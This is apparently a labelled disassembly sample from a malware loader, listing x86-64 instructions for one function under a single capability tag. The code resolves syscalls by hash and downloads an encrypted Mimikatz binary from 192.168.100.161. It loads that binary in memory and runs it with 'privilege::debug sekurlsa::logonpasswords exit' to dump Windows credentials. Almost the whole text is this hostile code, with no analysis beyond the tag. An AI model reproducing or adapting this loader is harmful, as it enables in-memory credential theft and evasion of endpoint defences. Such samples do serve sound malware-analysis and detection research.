Function at 0x140001a70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x98
xor r13d, r13d
lea rcx, str.___Initializing_syscalls_structure._n
xorps xmm0, xmm0
mov qword [rbp - 0xd], r13
movups xmmword [rbp - 0x29], xmm0
mov dword [rbp - 5], r13d
mov dword [rbp + 0x33], r13d
call fcn.140001010
lea rdx, [0x140026ca0]
mov ecx, 0x6e8ac28e
call fcn.140002820
test eax, eax
jne 0x140001ac0
lea rcx, str.____Failed_obtaining_SSN_for_NtAllocateVirtualMemory._n
jmp 0x140001b36
lea rdx, [0x140026cb8]
mov ecx, 0x1da5bb2b
call fcn.140002820
test eax, eax
jne 0x140001ade
lea rcx, str.____Failed_obtaining_SSN_for_NtProtectVirtualMemory._n
jmp 0x140001b36
lea rdx, [0x140026ce8]
mov ecx, 0x6299ad3d
call fcn.140002820
test eax, eax
jne 0x140001afc
lea rcx, str.____Failed_obtaining_SSN_for_NtWaitForSingleObject._n
jmp 0x140001b36
lea rdx, [0x140026cd0]
mov ecx, 0x8ec0b84a
call fcn.140002820
test eax, eax
jne 0x140001b1a
lea rcx, str.____Failed_obtaining_SSN_for_NtCreateThreadEx._n
jmp 0x140001b36
lea rdx, [0x140026d00]
mov ecx, 0x369bd981
call fcn.140002820
test eax, eax
jne 0x140001b57
lea rcx, str.____Failed_obtaining_SSN_for_NtClose._n
call fcn.140001010
lea rcx, str.____Failed_to_initialize_syscalls_n
call fcn.140001010
mov eax, 1
add rsp, 0x98
pop r13
pop rbp
ret
lea rcx, [0x140021ec8]
call fcn.140001010
mov edx, dword [0x140026ca0]
lea rcx, str.___NtAllocateVirtualMemory_SSN:__d._n
call fcn.140001010
mov edx, dword [0x140026cd0]
lea rcx, str.___NtCreateThreadEx_SSN:__d._n
call fcn.140001010
mov edx, dword [0x140026cb8]
lea rcx, str.___NtProtectVirtualMemory_SSN:__d._n
call fcn.140001010
mov edx, dword [0x140026ce8]
lea rcx, str.___NtWaitForSingleObject_SSN:__d._n
call fcn.140001010
mov edx, dword [0x140026d00]
lea rcx, str.___NtClose_SSN:__d._n
call fcn.140001010
lea rcx, str.___Init_done__n
call fcn.140001010
lea rcx, [0x140021ec8]
call fcn.140001010
lea r8, [rbp - 0x29]
call fcn.1400017c0
test eax, eax
jne 0x140001c18
lea r8, str.mimikatz_enc.bin
lea rdx, str.192.168.100.161
lea rcx, str.____Failed_downloading__s_from__s._n
call fcn.140001010
lea rcx, str.____Failed_getting_the_PE_n
call fcn.140001010
mov eax, 1
add rsp, 0x98
pop r13
pop rbp
ret
lea rcx, [rbp - 0x29]
call fcn.140001550
test eax, eax
jne 0x140001c41
lea rcx, str.____PE_Decryption_failed_n
call fcn.140001010
mov eax, 1
add rsp, 0x98
pop r13
pop rbp
ret
lea rcx, str.___Parsing_loaded_PE_files_headers_n
mov qword [rsp + 0xb8], rbx
call fcn.140001010
mov rcx, qword [rbp - 0x29]
mov eax, dword [rbp - 0x21]
mov dword [rbp - 0x11], eax
mov qword [rbp - 0x19], rcx
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
mov qword [rbp - 9], rbx
cmp dword [rbx], 0x4550
je 0x140001ca6
lea rcx, str.____Cant_find_valid_NT_headers._n
call fcn.140001010
lea rcx, str.____Failed_parsing_PE_headers_n
call fcn.140001010
mov rbx, qword [rsp + 0xb8]
mov eax, 1
add rsp, 0x98
pop r13
pop rbp
ret
mov eax, 0x2000
mov qword [rsp + 0xc0], rsi
test word [rbx + 0x16], ax
je 0x140001cce
lea rcx, str.___Image_is_valid_DLL_n
call fcn.140001010
mov dword [rbp + 0x2f], 1
jmp 0x140001cd2
mov dword [rbp + 0x2f], r13d
lea rcx, str.___Populating_Data_Directories_n
call fcn.140001010
movzx ecx, word [rbx + 0x14]
lea rax, [rbx + 0x90]
mov qword [rbp + 7], rax
add rcx, 0x18
add rcx, rbx
lea rax, [rbx + 0x88]
mov qword [rbp + 0x1f], rax
lea rax, [rbx + 0xb0]
mov qword [rbp + 0xf], rax
lea rax, [rbx + 0xa0]
mov qword [rbp + 0x27], rax
lea rax, [rbx + 0xd0]
mov qword [rbp - 1], rcx
lea rcx, str.___Parsing_finished_n
mov qword [rbp + 0x17], rax
call fcn.140001010
lea rcx, [rbp - 0x19]
call fcn.140002240
mov rsi, rax
test rax, rax
jne 0x140001d55
lea rcx, str.____Something_failed_n
call fcn.140001010
lea eax, [rsi + 1]
jmp 0x140002217
mov rbx, qword [rbp - 9]
lea rcx, [0x140026c88]
mov qword [rsp + 0xc8], rdi
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x88], r14
mov rbx, qword [rbx + 0x30]
call fcn.140001550
lea rcx, str.___Attempting_to_apply_base_relocaitons_n
call fcn.140001010
mov rax, qword [rbp + 0xf]
mov r14, rsi
sub r14, rbx
mov edi, dword [rax]
add rdi, rsi
cmp dword [rdi], r13d
je 0x140001e72
nop word [rax + rax]
mov eax, dword [rdi + 4]
lea rbx, [rdi + 8]
add rax, rdi
cmp rbx, rax
je 0x140001e66
nop dword [rax]
nop word [rax + rax]
movzx r8d, word [rbx]
movzx eax, r8w
shr r8d, 0xc
mov edx, r8d
test r8d, r8d
je 0x140001e53
sub edx, 1
je 0x140001e3d
sub edx, 1
je 0x140001e2b
sub edx, 1
je 0x140001e1a
cmp edx, 7
je 0x140001e09
mov edx, r8d
lea rcx, str.____Relocation_type_is_uknown:__d_n
call fcn.140001010
jmp 0x140001e53
mov edx, dword [rdi]
and eax, 0xfff
lea rcx, [rsi + rax]
add qword [rdx + rcx], r14
jmp 0x140001e53
mov edx, dword [rdi]
and eax, 0xfff
lea rcx, [rsi + rax]
add dword [rdx + rcx], r14d
jmp 0x140001e53
mov edx, dword [rdi]
and eax, 0xfff
lea rcx, [rsi + rax]
add word [rdx + rcx], r14w
jmp 0x140001e53
mov edx, dword [rdi]
and eax, 0xfff
lea rcx, [rsi + rax]
mov rax, r14
shr rax, 0x10
add word [rdx + rcx], ax
mov eax, dword [rdi + 4]
add rbx, 2
add rax, rdi
cmp rbx, rax
jne 0x140001dd0
mov rdi, rbx
cmp dword [rbx], r13d
jne 0x140001db0
lea rcx, str.___Finished_applying_relocations_n
mov qword [rsp + 0x80], r15
call fcn.140001010
lea rcx, [0x140026c88]
call fcn.140001550
lea rcx, [0x140026c88]
call fcn.140001550
lea rcx, str.___Resolving_the_PEs_import_table_n
call fcn.140001010
mov rax, qword [rbp + 7]
mov r12, r13
cmp dword [rax + 4], r12d
jbe 0x140001f86
nop dword [rax + rax]
mov eax, dword [rax]
add rax, r12
add rax, rsi
mov edx, dword [rax]
test edx, edx
jne 0x140001ed7
cmp dword [rax + 0x10], edx
je 0x140001f77
mov r13d, dword [rax + 0xc]
mov r15, rdx
mov edi, dword [rax + 0x10]
add r13, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x140001fd1
lea rbx, [rdi + rsi]
sub r15, rdi
mov rcx, qword [r15 + rbx]
lea rdi, [r15 + rbx]
test rcx, rcx
jne 0x140001f15
cmp qword [rbx], rcx
je 0x140001f5e
test rcx, rcx
jns 0x140001f3f
movzx edx, cx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001f55
mov r8d, dword [rdi]
lea rcx, str.____Cant_find_the_address_of_function___s_____d_n
mov rdx, r13
call fcn.140001010
jmp 0x140001fe0
lea rdi, [rcx + rsi]
mov rcx, r14
lea rdx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001fbc
mov qword [rbx], rax
add rbx, 8
jmp 0x140001f00
mov rax, qword [rbp + 7]
add r12, 0x14
mov eax, dword [rax + 4]
cmp r12, rax
jae 0x140001f83
mov rax, qword [rbp + 7]
jmp 0x140001ec0
lea rcx, str.___Reached_the_end_of_the_import_descriptors_array_n
call fcn.140001010
xor r13d, r13d
lea rcx, [0x140026c88]
call fcn.140001550
mov r8, qword [rbp - 1]
mov rcx, rsi
mov rdx, qword [rbp - 9]
call fcn.1400023e0
test eax, eax
jne 0x140001ff6
lea rcx, str.____Failed_fixing_memory_permissions_n
call fcn.140001010
mov eax, 1
jmp 0x1400021f7
lea r8, [rdi + 2]
mov rdx, r13
lea rcx, str.____Cant_find_the_address_of_function___s_____s_n
call fcn.140001010
jmp 0x140001fe0
mov rdx, r13
lea rcx, str.____Could_not_load_DLL:__s_n
call fcn.140001010
lea rcx, str.____Failed_fixing_the_Import_Table_n
call fcn.140001010
mov eax, 1
jmp 0x1400021f7
mov rax, qword gs:[0x60]
mov r14, qword [rax + 0x20]
movzx eax, word [r14 + 0x70]
add eax, eax
je 0x14000201a
mov rcx, qword [r14 + 0x78]
xor edx, edx
mov r8d, eax
call fcn.140003cf0
mov rax, qword gs:[0x60]
mov edx, 8
mov rcx, qword [rax + 0x30]
lea r8d, [rdx + 0x56]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x14000204a
lea rcx, str.____Failed_allocating_memory_for_arguments_n
jmp 0x14000213d
lea rcx, str.privilege::debug_sekurlsa::logonpasswords_exit
mov rdx, rdi
mov r8d, 0x5d
nop word [rax + rax]
movsx eax, byte [rcx]
lea rcx, [rcx + 1]
mov word [rdx], ax
lea rdx, [rdx + 2]
test ax, ax
je 0x140002079
sub r8d, 1
jns 0x140002060
mov rax, qword gs:[0x60]
mov rbx, 0xffffffffffffffff
mov r8, rbx
mov rcx, qword [rax + 0x30]
inc r8
cmp word [rdi + r8*2], 0
jne 0x140002090
movzx eax, word [r14 + 0x60]
mov edx, 8
add r8, rax
lea r8, [r8*2 + 2]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x1400020c7
lea rcx, str.____Failed_allocating_memory_for_command_line_n
jmp 0x14000213d
mov r8, qword [r14 + 0x68]
lea rdx, str.__s___s
mov r9, rdi
mov rcx, r15
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [r14 + 0x78]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [r14 + 0x78]
nop
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400020f0
inc bx
add bx, bx
mov word [r14 + 0x70], bx
add bx, 2
mov word [r14 + 0x72], bx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.___Finished_patching_command_line_arguments_n
call fcn.140001010
mov rax, qword [rbp - 9]
mov edi, dword [rax + 0x28]
mov rax, qword [rbp + 0x27]
add rdi, rsi
mov edx, dword [rax + 4]
test edx, edx
je 0x140002186
mov ecx, dword [rax]
mov r8, rsi
movabs rax, 0xaaaaaaaaaaaaaaab
add rcx, rsi
mul rdx
shr rdx, 3
call qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
test al, al
jne 0x140002186
lea rcx, str.____Failed_registering_function_table_n
call fcn.140001010
mov rax, qword [rbp + 0x17]
cmp dword [rax + 4], 0
je 0x1400021ba
mov eax, dword [rax]
mov rbx, qword [rax + rsi + 0x18]
mov rax, qword [rbx]
test rax, rax
je 0x1400021ba
nop
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 1]
call rax
mov rax, qword [rbx + r13*8 + 8]
lea r13, [r13 + 1]
test rax, rax
jne 0x1400021a0
cmp dword [rbp + 0x2f], 0
je 0x1400021ce
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 1]
call rdi
jmp 0x1400021dc
lea rcx, str.___PE_Output:_n_n
call fcn.140001010
call rdi
cmp dword [rbp + 0x67], 0
jne 0x1400021f5
lea rcx, str.____Execution_failed_n
call fcn.140001010
mov eax, 1
jmp 0x1400021f7
xor eax, eax
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xc8]
mov r14, qword [rsp + 0x88]
mov rsi, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xb8]
add rsp, 0x98
pop r13
pop rbp
ret